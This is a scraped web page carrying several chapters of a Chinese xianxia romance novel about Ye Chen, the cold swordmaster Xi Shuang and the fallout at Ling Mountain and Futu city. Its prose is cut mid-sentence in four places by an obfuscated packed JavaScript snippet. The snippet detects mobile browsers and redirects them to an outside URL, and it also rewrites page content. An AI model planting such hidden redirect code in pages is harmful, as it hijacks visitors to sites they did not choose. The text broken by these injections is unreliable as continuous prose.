料峭的寒意逼近,雨水带着霜冻,啪嗒啪嗒,碎在山林小道间。 叶琛望着他的神色,心里一沉,旋即不管不顾地从地上坐起来,指尖迸出绷直的鱼线,利刃般刺进韩子仪颈间,力道极大,只求致命,叶琛关节间发出难堪重负的“咔咔”响声,鱼线绷断,随之而来还有“嗬”地一声。 十指连心,叶琛手上传来一阵剧烈的疼痛,眼睛却不闪不避地盯着韩子仪的颈部——数道鱼线交织成网,他颈处已被切割成蛛网般的血肉沾连,按理说,这样的人,无论如何是活不了了。 但韩子仪还有闲心朝她笑了一下。 “我早已死在五百年前,你不知道吗?” 喉咙被他掐紧,叶琛调不成声,他一动作颈间就掉出血肉碎块,落在叶琛脸上身上,素白的面颊被染红,像手艺人随手描画的面具。 地上繁复的咒文如波浪般翻涌流动,金光灿烂,无数金色的触角从咒文中爬出,钻入雪白的茧蛹,一起一伏地汲取启动所需的饲料。 几乎就在咒文翻涌的同时,天地间忽地亮起数道光束,与漫山遍野的金色咒文相和,掐着叶琛的手松了一些,韩子仪抬头,感叹:“呀,佛子现身了。” 叶琛艰难地仰头看去,方才抬眼,胸前倏地多出一道冰蓝剑尖,穿胸而过。 掐着她的手瞬间落下,韩子仪嘴边溢出猩红的血,脸色霎时灰败下去,捂着胸口连连倒退几步,随手摸到一棵树,倚靠着喘息。 叶琛颈间一松,顿时愣住了,心下闪电般拂过一个念头——不是说他早已死了吗?怎还会惧怕剑伤? 他背后,叶琛眼瞳中映出一张白璧无瑕,染着血气的脸。 血从冰凉的剑锋滴落,几滴血溅到他衣上、脸上,洗霜脸色冷极了,目光扫过她形状扭曲的指骨、涨红的脸色、乱成一团的乌发,最后落到她脖颈间猩红的血线上,顿了顿,眼睑垂下,沉着声问:“怎么弄成这样。” 叶琛眨了眨眼,只好答:“一不小心,就这样了。” 洗霜脸色冷得像冰,叶琛望着他,还想再找出几句话来说,此时搜肠刮肚,平素伶俐的嘴皮却仿佛被黏住了,她有点不知道该说什么。 她先前确实答应过他在山下等他,但是听到天音楼那边出事,她顷刻间便明白今夜灵山动静只会大不会小,出于某种敏锐的嗅觉,她提起剑便跟了上去。 叶琛做这事前并没想过自己交代在这里怎么办,她也没觉得谁需要这个交代,但是此刻看到洗霜面无表情的脸,她后知后觉,也许洗霜是需要这个交代的。 可惜她过往生平实在没教会她怎么给人这个“交代”,也不曾演练给不了交代如何补过,她心中挣扎一阵,只好选了最熟悉的一条路——她捂着喉咙的手垂到身侧,看向那几个雪白雪白、冒着金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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铺天盖地的大雪中,那人衣袖随风声猎猎而动,浅浅的月牙白几乎要与漫天风雪融为一色,浅灰的发半束进芙蓉冠,半披在身后,发梢沾着浅淡落雪,周身却不见丝毫冷傲。 他近了,乐知才发现他还带着一个人,微微蹙眉:“褚师兄,他不是......” 另一人微微颔首,从褚离身后走出,一身沉碧似的青,生得是极好的皮相,举止风度极为从容,朝众人温和地笑了笑,如春日斜斜横倚的桃枝。 他侧过脸,目光轻轻掠过众人,最后不经意落在叶琛身上,朝她客气地点点头:“在下出身洛陵苏氏,家父让我跟着褚仙师学点本事,叨扰诸位了。” 23. 二十三 他嗓音介于少年和青年之间,击节碎玉,一字一句传入叶琛耳中,她思绪顿时乱成一团。 苏明仲怎么会出现在这里? 而且还是和天音楼的人一块出现。 前世某些零碎画面在脑中闪过,如纷纷扬扬的雪花,叶琛恍然回神,下意识去看洗霜脸色。 如果说他先前脸色还只是冷极了,如今就沉郁得像冻了一个冬月的冻白菜——梆硬,啃一口要崩掉半截牙。 叶琛摸了摸鼻子,心道这两人还真是一见面就不对付,如今这个苏二根本不认识她,她也无从调解,只好先哄哄洗霜。 可是从何哄起也是个学问,她想了想,隔着衣袖轻轻扯了扯洗霜衣袖,好声好气道:“如今你们根本不认识,日后大概也不会相见,你说你冷脸给谁看。” “对不对?”叶琛越说越觉得有理,一口气说下去,“如果是给我看,更没必要了,上辈子到现在,我吃了你多少记冷脸?要换个没毅力的,早就一拍两散了!” 被她扯着的人轻轻晃了下,便挣脱了她本来就不算牢固的拉扯。 叶琛完全不意外,所以方才只隔着衣袖轻轻扯了下洗霜,他虽然不喜旁人触碰,但叶琛从过往种种相处中吸取教训,总结出一套这位剑首独有的习性。 比如现在,直接碰他,不行。 但隔着衣袖,可以。 密匝匝的风雪声里,叶琛慢吞吞收回自己的手,丝毫不觉尴尬,方才一瞬间丢失的伶俐嘴皮又都找了回来,目光随意往下一扫,顿时愣住了。 她方才扯着洗霜衣袖的位置,留下了鸡爪似的血手印,指骨根根分明,掌纹清晰可见。 “......” 叶琛不动声色地抬起眼,与洗霜寒凉的目光撞了个正着。 雪絮沾在他鸦青的睫毛上,眼珠微微垂下,飘絮似的雪丝便落到叶琛额心、鼻尖,缠绵不尽。 如此近的距离,叶琛能感觉到额心点点凉意,又好似痒丝丝的,忍不住开始分心数这人睫毛的根数,数了一会又看到他眼中隐秘的霜花纹路,像水下冰川迸裂的余波。做完这些,她的视线才隐约找回聚焦,重新审视起这张容色过甚的脸。 她此时脑中忽然浮起一个念头——洗霜有点,太好看了。 迫于这位剑首威势之盛,即使偶尔有流言传出,也大多是说他曾于某地现身,杀了多少妖鬼和妖兽,仿佛画中仙人的容貌往往被略过不提。 而画中仙人此时正面无表情地瞧着叶琛,从神色上看不出是何想法。 叶琛不自觉咽了口唾沫,诚心诚意:“对不起。” 然而说完她就想到,洗霜几日前才讥讽过她拿对不起当免责声明用的恶行。 她不太自然地眨眨眼,思考片刻,没想出两全之法,干脆闭上眼,眼不见心不烦等待对方宣判。 洗霜捻了捻衣袖一比一印上的血手印,冷白指尖慢慢染红,他盯着指尖上的血,不知道想到什么,忽地蹙眉,压着声线说:“你从前胆子很大。” 叶琛感觉这不像要教训人的前兆,慢慢睁开眼,心里不解:“那、我现在成熟了,有阅历了,自然就行事更沉稳了。你从前还嫌我莽撞嫌我吵呢......” “再说,”叶琛抹了一把脸上的雪水,“胆子大是什么好事吗?是谁当初冷着脸教训我,莽撞、孤勇、不知进退,‘我要是给你一把剑你能蹬着上天’!” 叶琛越说越快,嘴皮上下翻飞,理直气壮,眉飞色舞,灵动极了。 “叶琛。”洗霜直接截断她未说完的话,冰蓝色眼瞳淡淡扫过她黑眼、乌发、最后停在她咽喉处,顿了下,终于开口, “你忍了我很久?” “我......”叶琛顿住,迟疑了下,刚想回答,就听到天边传来一道圆润厚重的声音。 叶琛心里莫名松了一口气,顺势看去,天边佛光大炽,原先漫山遍野的金色咒文在这佛光普照下简直像孩童的玩具,几乎所有人都被佛光吸引,仰头望向声音来处。 漫天风雪撕开一个口,佛光盛极,却并不刺眼,那道声音伴着阵阵古寺磐钟,悠长旷远,在天地间甫一响起,便宣告了来者的身份。 浮屠、骨塔、佛宝。 能同时和三者关系紧密的,世间有且仅有一位——三千年前便早已飞升上界的佛圣。 韩子仪早有油尽灯枯之相,如今心愿得偿,面相便愈发衰败起来,他扶着树,缓缓站起,一道佛光从天边泄下,圈住他枯瘦的腕骨,远远传来一声叹息,轻不可闻。 韩子仪似乎早料到是这个结果,平静地接受了佛子的宣判,他微微抬手,拍去衣袍沾上的草叶,点头致意。 温和浑厚的佛光中,浮出一张慈悲的佛面,那佛像原本半阖的眼皮睁开,少了几分祥和,却多了些人气。 韩子仪听到昔日友人问:“五百年来,你从未放下吗?” 他淡淡笑了一声,摇头:“不是五百年,同寂,从洛婉死去那一日起,于今已有四千余年了。” 他花了四千余年一点点补全洛婉的魂魄,以为自己终于还清欠她的,不用每晚梦见她染血的脸和濡湿的发,谁想这债本来就是还不清的。 兜兜转转,其实给他选的只有一条路。 良久,他听见天边远远回了一句“好”,随即腕上佛光大炽,沿着手臂烧上全身,他整个人沐浴在明亮的佛光中,单薄的皮肉缓缓消融,只留下洁净莹润的白骨。 整个过程就像是洗了一场热水澡,算是佛圣对老友的关照,韩子仪并没觉得难受,甚至有一种旅人归家的倦怠和满足,仿佛行了很久的路,如今终于可以卸下担子休息了。 韩子仪肩部以下的皮肉悉数剔净,成了一具颇具观赏性的美人骷髅,他闭眼等着最后一点仪式完成,从此也该成为浮屠塔镇压的千万亡魂之一。 就在这时,一道绝不该出现在此地的童稚之声在雪地中响起。 韩子仪怔愣半刻,蓦然回首。 他深邃的瞳仁中,赫然映出女孩年画娃娃般的脸。 * 季知年望着洛晚已蹿出数丈的背影,又好笑又无奈。 方才和剑首赶到灵山,一看山下连只鬼的影子都没有,那位剑首的脸马上冷得像冻了一季的腌白菜。 季知年不敢这个时候触对方霉头,也觉得自己上去是添乱,便在山下看管洛晚。 这孩子面对洗霜那样冷硬的态度尚且能伶牙俐齿,更不用说季知年本来就性子温和,等到群山间亮起无数金色咒文,加上洛晚恰到好处的怂恿,他犹豫之下,还是决定上去看看。 但又不能把洛晚丢在山下——谁知道她脱离监管后会不会再招来一堆妖鬼? 他思来想去,只好带着洛晚上山,一路上这孩子柔顺地被他牵着,甚至还会提醒他前面几步有猎人的陷阱,要绕行。 季知年很快抵挡不住糖衣炮弹,对她放松警惕,谁知刚找到地方,洛晚就如泥鳅一般挣脱他的挟制,野马般跑了出去。 定神一看——她奔向的东西,竟然是一堆白骨? ...... 叶琛缓缓收回目光。 这么一打断,她先前几欲出口的话全忘了,但又隐隐觉得这不算坏事,可一抬头,洗霜仍旧望着她,脸色很明显——他在等待她的答案。 ——叶琛,你忍了我很久? 他面无表情地问出这句话。 叶琛心里的答案就面条般唏哩咕噜冒了出来。 是,我是忍了你很久,我讨厌你冷冰冰的脸色,我讨厌你教训人的语调,我还讨厌你...... 我讨厌你让我给不出这个交代。 叶琛拨开那些煮烂的面条,在心里说。 所以面条真出锅的时候,她就得小心地筛掉煮烂的部分,慢慢组织语言,思考了许久这话该如何说。 才能让她先偿付了先前欠洗霜的交代。 “我......”叶琛缓慢地开了个头,舔了舔干燥起皮的嘴唇,话音刚起了个调子,就被一道温润的男声打断。 漫天飞雪中,褚离无视了洗霜冷得快要结冰的脸色,上前和气地笑了笑,商量:“阁主,可否先将霜境打开?如今佛圣已解开秘境,我们就只在你的结界里了,若还维持,我楼中弟子恐怕不好出去。” 洗霜从到灵山脚下,没找到人的那一刻起,就开了结界。灵山占地之大,他不可能一寸寸土地翻过来去找叶琛,但在结界中,霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597196|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪所经之处,任何妖魔鬼怪都无所遁形。 他开结界主要是为了寻人,但到了他这样的修为,随手布下的结界也等于一把大锁,境界低些的就要在里头乖乖等着界主撤去结界。 而这位界主此时显然心情不佳。 洗霜掀起眼皮,不带丝毫情绪地看了褚离一眼,没有丝毫预兆,平地霎时掀起数丈高的风旋,分成数股,气势滔天,以不容抗拒之势直直撞开边界四角,鹅毛状的雪花顷刻化作漫天冰锥,毫不留情地刺向他身周之外每一寸领域。 随着这近乎暴虐的解境,天际霎时如镜面般裂开无数道蛛网状的纹路,磅礴灵压在空气中无形荡开,天音楼有些境界低的弟子没反应过来就跪倒在地,下意识双手护头,倒是躲过了随之而下的霜雨。 褚离脸上的笑僵了僵,急急催动灵力,怀中古琴荡出几声弦响,两道灵力相撞,其他人才堪堪缓过气来。 他缓和神色,像是第一次认识这位剑首一般,语气不虞:“阁主,没必要吧,若是我楼中弟子有谁得罪了您,也该我这个师兄代为赔罪,何必如此小心眼。” 洗霜淡淡扫了他一眼,目光旋即落到褚离身后的青衣公子身上,问的却是褚离:“你是天音楼楼主?” 褚离徐徐拂落肩头落雪,否认:“天音楼楼主一直是早已飞升的琴圣,这么多年从未变过。” 洗霜通情达理地点头,语气平淡:“既然你不是天音楼楼主,何来赔罪之说,你,赔得起么?” 他声音不大,清泠泠回荡在天地间,如纷纷而落的细雪,但没有人会质疑这位剑首所言蕴含的威势,方才几乎要将整座灵山掀过来的风旋已然证明了这点。 褚离脸色一变,指节一瞬扣紧琴弦,又想起此时不宜和万剑阁剑首起冲突,缓和脸色,不卑不亢:“我虽不是楼主,却代行楼主之责,管束楼中弟子,若有人倚仗灵力高强在外行霸道之事,褚某一定会代为管教。” 这话只差没指名道姓讥讽万剑阁仗势欺人了。 “代为管教。”洗霜轻轻念了一遍这四个字,语气寒凉刺骨,“你说的管教,就是带一个灵力全无的凡人进佛子秘境,天音楼的人被拿去祭阵,这位苏公子倒是毫发无损。” 他鸦黑的睫毛掀起,冰蓝色眼珠毫无情绪地审视眼前的青衣公子。 被点到名的少年茫然抬头,神色无辜,不太敢看这位很冻人的剑首,目光自然地落在他身侧黑衣少女身上。 结果叶琛一发觉他看过来,本来就没在他身上的目光还特意移开了眼。 洗霜余光扫到这一幕,脸色稍霁,喉结微动,嗓音清冷:“若这就是天音楼的管教,我无话可说。只希望琴圣不会某一天从牌位里跑出来,也要看看后人如何不肖。” 褚离脸色霎时阴沉下来。 乐知犹豫片刻,分别看了看两人脸色,上前扯了扯自己师兄,劝解道:“褚师兄,算了吧,剑首好歹也救了我们一命,况且......” 她余光瞥了一眼褚离身后的少年,心里其实部分赞同洗霜的话。 她是真不理解褚离怎么会带一个凡人进佛圣的秘境,嫌这人命太长吗? 带灵力全无的凡人进秘境,于修士是拖累,于凡人是极险。二者境界相差太大,修士完全就是凡人的血包,即使全程小心地护着,这凡人也可能因为灵压或者其他意外身亡。 所以若不是关系极亲近,很少有修士愿意带境界悬殊的同伴下秘境。 但乐知又想起一个就在眼前的例外。 她目光轻轻飘向洗霜身侧的女孩子。 叶琛已经决意在苏二离开前都不挪回目光,此时自然也没注意到乐知在看她,乐知视线扫过她眉眼、鼻梁、嘴唇,也没看出她和这位剑首有哪里相像。 她之前说的“极亲近”,就是指血亲了。 但先不论男人能不能生孩子,单是万剑阁剑首是灵修这一条,他就不可能有血缘上的后代。 所以乐知就疑惑极了。 这位叶道友,到底是怎么做到剑首的剑想拿就拿,剑契想结就结的。 甚至方才解境闹出那么大动静,整座灵山也只有叶道友那块地霜雪不侵。 养女儿也不过如此了。 24. 二十四 褚离神色阴沉,被乐知拉了回去,苏明仲犹豫片刻,回头看了叶琛一眼,结果发现这姑娘从头到尾就没正眼瞧他,只好跟着褚离回到天音楼众人中。 秘境已解,洗霜看都没看天音楼那边一眼,径直转身离开,叶琛和一旁观望的季知年几人对视,也觉得此情此景,确实没有留下的必要,跟着下山。 走到一处灌木边,洗霜忽然停住脚步,叶琛心不在焉地跟着走,差点撞到他身上,险险刹住车,还没开口,就看到他从草丛里捡起一把形如凝冰的霜色长剑,剑身暗淡,剑柄滚了一圈泥巴草籽,这柄灵剑就被主人如此随意地丢在地上,看来是不准备要了。 叶琛看到洗霜从地上捡起它,就心道要完,果然,抬起眼,洗霜才有所好转的脸色又沉了下去。 叶琛有点想解释,但又觉得怎么解释都不太对。 说我明明有很爱惜你的东西,之前非必要都不拔剑的。 可是现在事情已经发生了。 或者说是韩子仪封住了剑的灵力,她还没找到解封的办法就被绑起来了。 但是如果她履行承诺,在山下等洗霜,这件事本来也不会发生的。 叶琛想来想去,还是没能想到合适的说辞,洗霜就已经捡起这把剑,也没看她一眼,往山下去了。 就像他根本不打算听她解释一样。 叶琛愣愣站在原地,望着那道白色身影越来越远,双脚陷在湿软的泥土里,愈发下陷,心里一口气又含在胸口不上不下。 又是这样。 一言不发就走,如果她不追上去就好几个月别想看见他的影子,搞得他好像受气小媳妇一样,可真正被冷暴力的难道不是她吗? 就算追上去了,她又得猜他的心思,又要哄他,两辈子加起来,叶琛真是受够了他莫名其妙的冷脸和一言不发的出走。 她在原地站了许久,手掌松开又攥紧,在掌心抠出几道深深的指甲印,心想自己今日的“哄人”额度已经刷到透支,断不可能再巴巴追上去贴人家的冷脸。 洗霜是走了,但季知年还在犹豫,他一边扶着脸色苍白的宋以安,一边等叶琛缓过神来,才试探着道:“叶姑娘,你还好吗?需要我帮忙吗?” 叶琛看了他一眼,脚终于又能动了,摇头:“不用啦,季道友,你还是扶着你师妹吧,她状态比我差多了。” 季知年点点头,远远看着那道已经变成一个白点的身影,犹豫再三,还是道:“叶姑娘,你们阁主状态似乎不太对,方才他和我被困在浮屠那边时,就好像受了内伤,脸上手上都出现奇怪的痕迹,但是又被他强行压了下去。” “我想他大概不愿外人知晓内情,是以一直没问,但你既同他熟络许多,还是当心些吧。” 叶琛倏地抬眼,睫毛急促扑闪两下,皱眉:“他被妖鬼伤了?可他明明说......” 叶琛这话说到一半,就自觉打住,想起洗霜确实是这样的性子,有事没事都埋在心里,反正从脸上是看不出真实情况的。 季知年还想再说,就看到叶姑娘长长叹了口气,拔足就往山下跑,他追都追不上。 这...... 季知年望着她也越来越远的背影,心想师父从前教他的一句话还真没错——不要乱管别人的家务事。 * 叶琛在浮屠城门口找到了洗霜。 一路跑过来的时候脑子里什么都没想,但真找到了人,叶琛心里又生出一种近乡情怯的感情。 她一路狂奔的脚步急急顿住,犹疑地站在城门挂灯下,夜色刚起,烛火爆芯,在她脸上投下斑斓光影。 洗霜原本想直接去浮屠塔,走进城门的那一瞬,心有所感,回头,就看到了这一幕。 雪水从叶琛眼睫边流下,混着铁锈般的血迹,脖颈处已经结了一层痂,折断的指骨歪歪斜斜垂在身侧,模样绝算不上好看。 乌黑透亮的眼珠泛着猩红的血丝,她瞪着眼,直直杵在街灯下,脊骨绷成一条线,看起来不像来哄人的,倒像来寻仇的。 叶琛轻轻闭眼,抹去脸上雪水,一边擦干净脸一边又有点后悔,她方才追上来是因为季知年那句话,但真见到了人,又发觉自己这样巴巴追上来很没面子。 丢人丢到家了。 脸上的雪水擦了半天,还是雪归雪水归水,叶琛刚想算了,手边就递来一块帕子,泛着清淡的冰雪气息。 “衣袖全是湿的,怎么擦。” 叶琛停下动作,睁开眼,就看到自己的面容倒映在一双平静的冰蓝色眼瞳中。 她下意识接过手帕,借着这双眼擦掉自己脸上的雪水和血迹。 雪白的帕子顿时被糟蹋得血红一片。 叶琛擦完脸,后知后觉脖颈有些痒,顺带着擦了下脖子,下手又没轻重,五官瞬间拧成一团。 她捂着脖子上的伤口,皱着眉,等这阵疼痛过去才缓缓睁开眼,叹气:“好疼。” 洗霜扫了她一眼,在那道伤口处顿了顿,语气冷飘飘的:“叶琛,我原本没想过你会自刎。” “这......”叶琛舔了下干裂的唇,尝试解释,“我原本肯定也不是打算自刎,一不小心,又事发突然,就这样了。” “如果能活,我还是尽量想活的。” 她抬起眼,认真地说。 洗霜对这句话不加评判,叶琛说完也觉得自己在这方面确实没什么信誉度,尴尬地笑了下,又想起自己追过来的目的,可是看洗霜的样子,就知道直接开口问肯定得不到答案。 接过洗霜递来的那块帕子,叶琛就觉得两人之间的冰墙好像默无声息地融了一块,发出细微的碎裂响动,先前的僵持成了彻彻底底的笑话。 叶琛又不太想真的成了笑话。 一时两人都不开口,浮屠城又近在眼前,叶琛顿了下,干脆当作什么都没发生过:“进城?” 洗霜微微颔首。 浮屠城内并未受太大影响,无非是今夜街上行人少些,寒夜冷些,但即使这样,也有手艺人沿街摆摊。 先前浮屠塔因为佛宝被窃戒严,但如今佛圣都因为韩子仪那个疯癫的计划露面了,佛宝被窃在这件事前属实算不了什么,叶琛看浮屠城已然解除戒严令,心里猜测佛宝应该也找回来了。 想到佛宝,叶琛就自然想到洗霜要来浮屠塔的原因,心下一转,边走边问:“浮屠塔能找到万剑阁圣物吗?” 洗霜过了一会,才回答叶琛的问题,嗓音浮在静寂的冬夜中,和飘絮般的雪片相融。 “不一定在浮屠塔,但......” 他这句话忽然止住。 原本和他并行的叶琛忽然不见了,洗霜怔愣片刻,回头,看到那人正站在一处糖画摊子前,饶有兴致地看人家做糖画。 似乎察觉到后脑勺的视线,她转过身,看到洗霜定定看着她,先是一愣,然后很灿烂地笑了下,喊他过来。 眼瞳乌黑又明亮,脸上的血迹被雪白帕子擦干净,露出原本芙蕖般清丽的面容。 洗霜目光扫过她乌黑的眼,披散的发,最后停在她弯起的唇上。 没心没肺。 他下了判断。 但叶琛依然在朝他笑,朝他招手。 洗霜眼睫抬了下,最后沉默地朝她那边走去。 ...... 叶琛其实是在这边排队。 她前面还有一对出来私会的小鸳鸯,似乎是家中不允,便只能私下见面。 前头做糖画的老人很快把东西递给这对小鸳鸯,然后头也不抬地问:“你要什么?” 前面两个人走了,就该轮到叶琛了。 叶琛回过神,刚好洗霜走过来,便道:“给我们做和方才那两位一样的就行。” 老人无可无不可地点点头,开始做前还是抬头看了一眼对面,皮顿时皱了起来:“你们这个,做不了。” 叶琛眨眨眼,不解:“为什么?” 老人指了指叶琛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597197|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的人,感叹:“姑娘,方才那一对点的是老朽的绝活,糖画像,可你这位,我画不出来。” 叶琛顺着他手指看了洗霜一眼,雪落在他发上、肩上,丝丝如絮,他面无表情地看过来,漂亮得像一樽冰雪雕砌的神像。 可谁要真在家里供这样一尊神,迟早被他冻死。 叶琛在心里想。 回头,和老人说话时她还是笑眯眯地,眼睛忽闪忽闪:“那您就随意发挥吧,看我们像什么,就画什么好了。” 最后叶琛得到了一幅小狐狸和一幅霜花。 她觉得霜花画的应该是洗霜,把这幅递给他,舔了舔狐狸的尖耳朵,就看到一道烟花升上夜空,霎时照亮了整个浮屠城。 “是浮屠日啊,姑娘,你们运气真是好。” 叶琛叼着糖画回头,含糊问道:“什么是浮屠日?” 老人边收摊边说:“你们不是浮屠城的人吧,浮屠日对浮屠人来说是大事,当年佛圣起了浮屠塔,落成的日子也是浮屠城新生之时,每年这个时候,我们都会放灯,办斋会的。” 他朝叶琛笑了笑,脸上的褶子舒展开,慈祥极了:“趁着年轻,多去些地方吧,这个时候心还没来得及迟钝,爱是爱,恨是恨,爱的人还没远去,恨的人又不太多,多好的时候啊,姑娘。” 叶琛吃糖的嘴顿了顿,想说话牙齿又被糖黏住,只好含混地点点头,然后看着这老头子把摊子推走。 洗霜拎着一副糖做的霜花,看不出喜欢还是不喜欢,叶琛觉得杵在路边太傻,就扯着他往前走,嘴里糖化了一半,走到一处桥边,终于能好好说话。 可是真说吧,又不知道该说什么。 她转过头,不动声色地看了洗霜一眼,发现洗霜也在看她,顿时泄下气来,说:“你先说吧。” 她抱着自己的糖狐狸蹲在桥边,盯着波光粼粼的河面看,烟花还在放,炸得她耳边一直嗡嗡的。 五颜六色的光浮在河面上,一起一伏地涌动,铺开一大片绸缎似的光景。 嘈杂的水流和焰火声中,她听见洗霜开口,他说话声音不大,并没多少质问的意味,更像是单纯地感到疑惑。 他又问出了同一个问题。 “叶琛,你忍了我很久?” “......?” 叶琛叼着糖狐狸回头,和洗霜冰蓝色的眼瞳对视,她在对方眼里清晰地看到了自己的倒影,还有......一点显而易见的疑问。 这个问题,有这么重要吗? 洗霜这么在乎这个问题的答案? 回答就在嘴边,叶琛随便就可以扯出一大堆话哄他,没有人不喜欢听好话,反正大多数人一辈子缘分也就几面,没必要把很多事情掰扯得那么清楚。 但是叶琛又想起自己今天还欠洗霜一个“交代”。 这个人开结界,上灵山,又为了韩子仪这堆破事来收拾她的烂摊子,其间耗费的精力和灵力,绝不是一句“他们曾结过剑契”可以抵消的。 所以叶琛决定真诚一些,想了许久,缓缓道:“......也不是那个意思,我是说,虽然你有时候真挺冻人的,但是吧,人无完人,我也一堆毛病呢,比如你说的莽撞孤勇不知进退,你说得没错,但是我两辈子加起来也一百多岁了,改是很难了......” “所以,咱们求同存异吧。”叶琛一锤定音。 洗霜神色平静地听完她这番话,不置一词。 叶琛就又有点没底,觑了觑洗霜脸色,没瞧出他高兴还是不高兴,赞同还是不赞同,干脆转回去,背对着他:“我的话就是这样了,你怎么想呢?” 她借着河水当镜子,又把头发束了起来,天上的焰火在河里晕开,像一幅色彩绚丽的油画。 舔完刚才吃到一半的糖狐狸,她手里只剩下一根光秃秃的竹签,才有点遗憾,旁边就递来另一根糖。 叶琛下意识接过来,刚想道谢,就听到洗霜说:“我不这么想,叶琛。” 25. 一 “我不这么想,叶琛。” 这句话一整晚都在叶琛脑子里回荡。 偏偏洗霜贯彻了能一个字解决问题绝不用两句话的传统,言尽于此。 叶琛就有点摸不着脑袋,他不这么想,那如何想呢。 要放在从前,她可能就没心没肺地追着问了,但才说完“求同存异”,马上就刨根问底,这不是叶琛的处事风格。 简而言之,她觉得上赶着问有点掉面子。 于是在离开河边后,叶琛也并没将这句话问出口。 叶琛先前从老头那了解到浮屠日,那时只以为是浮屠城特有的节日,离开河边找起客栈来,她才明白了浮屠日的另一层含义——这是浮屠城所有人的节日,既包括卖糖画的老大爷,当然也包括客栈。 她和洗霜找了半夜,才在浮屠城角落里找到一家还开着门的客栈。 客栈的门灰扑扑的,掌柜下来开门的时候,叶琛刚刚把第二根糖吃完。 洗霜当然是不住客栈的,他皱着眉看叶琛很珍惜地吮完竹签上剩的糖,冷着声说:“你很饿?” 叶琛觉得他这是废话,在山上折腾了一夜,拿来果腹的只有一点肉脯和两根糖,她如今又只是筑境,当然饿。 可是饿也没有什么办法,浮屠日这几天,街上大小店铺都关着门,能找到这家客栈已经是侥幸,客栈厨房也熄了火,叶琛不好意思深夜叩开人家的门后再麻烦人家。 她坦然地点点头,望着洗霜道:“对啊,好饿,要饿死了,如果现在有哪个好心人赏我一顿饭,我就......” 叶琛无聊地托着腮,乌黑的眼珠转来转去,拉长语调说完后半句:“——我就答应他任何条件。” 不过这话也只是想想,叶琛并不指望她随口一句话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597198|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能让天上掉个仙女姐姐满足她一切愿望。她摸了摸干瘪的肚皮,打算自己去厨房煮点粥,白米粥是她唯一做得像样子的东西,但是生火、淘米,一套流程走下来,估计也得天亮了。 叶琛那截折断的指骨还钻心地痛,此时却正好和烧灼的胃痛相抵,叶琛想了想,又觉得这并不算坏事,痛的地方太多,也就忘记自己在痛了。 然而她还没起身,洗霜就冷着脸把剑搁在桌子上,垂睫扫了她一眼,语气结了冰一般:“别动。” 他什么都没拿,进了厨房。 叶琛惊疑不定地望着他的背影消失在厨房入口,眨眨眼,又看了下他搁在桌上的剑,心下犹疑:他是要她别动,还是要她别动他的剑呢? 而且洗霜进厨房?他能做什么?冰雕吗? 叶琛思考片刻,决定就算他等会端出来一碗冰沙,她也不做声就是了。 26. 二 洗霜有个毛病,但这个毛病在叶琛看来可大可小。 往大了说,这位剑首对纳入自己范围的人和物颇有掌控欲,叶琛在万剑阁待过一段日子,那时她就发觉,万剑阁安静得跟个坟墓一样,她也只好屏气息声。后来下了山倒不见他如此,她于是又慢慢发觉,洗霜虽然喜静,但只对自己的领域有近乎偏执的掌控欲。 而往小了说嘛...... 叶琛就觉得这也不算个毛病,谁对自己身边的东西没点执念,凡人搭个屋子还要讲求风水样式,吃个饭还有的喜欢甜有的喜欢咸呢。 或许是她和洗霜相处得太久,洗霜就直接把这套搬到她身上来了。 叶琛反正天不怕地不怕,体质又特殊,断了骨头第二天都能直接长好,做事更没什么顾忌,但这个没顾忌,就很容易引来洗霜的冷脸和皱眉。 他不喜欢身边的人超出他掌控,也可能是在担心叶琛哪天玩脱了把自己玩死,他们身上那道剑契该怎么办。 毕竟剑契不会随她身死而自动解除。 对,剑契。 叶琛豁然明朗,忽然就明白怎么给洗霜这个交代了。 她眼睛倏地一亮,终于想到解决办法似的,对他说:“我先前说求同存异,但仔细想了想,又觉得这做起来实在很难,毕竟你我还被一道剑契绑着,我出了什么事,对你肯定有影响,这非我本意,我却没有办法。” “所以,”她飞快地眨了眨眼,明亮如星,“趁着如今在佛圣的地界,我试试去求那位佛子,帮我们解除剑契,从此桥归桥路归路,我就不碍着你什么了。” 洗霜倏地抬起眼。 叶琛猝不及防撞入他的视线。 他眼中有隐秘的霜花纹路,此时湖水般层层漾开,顺着冰霜伸出无数根细微的触角,叶琛听到一声极轻微的碎裂声,仿佛有什么东西从高空坠落,啪地一声,碎了。 叶琛心里不自觉咯噔一下。 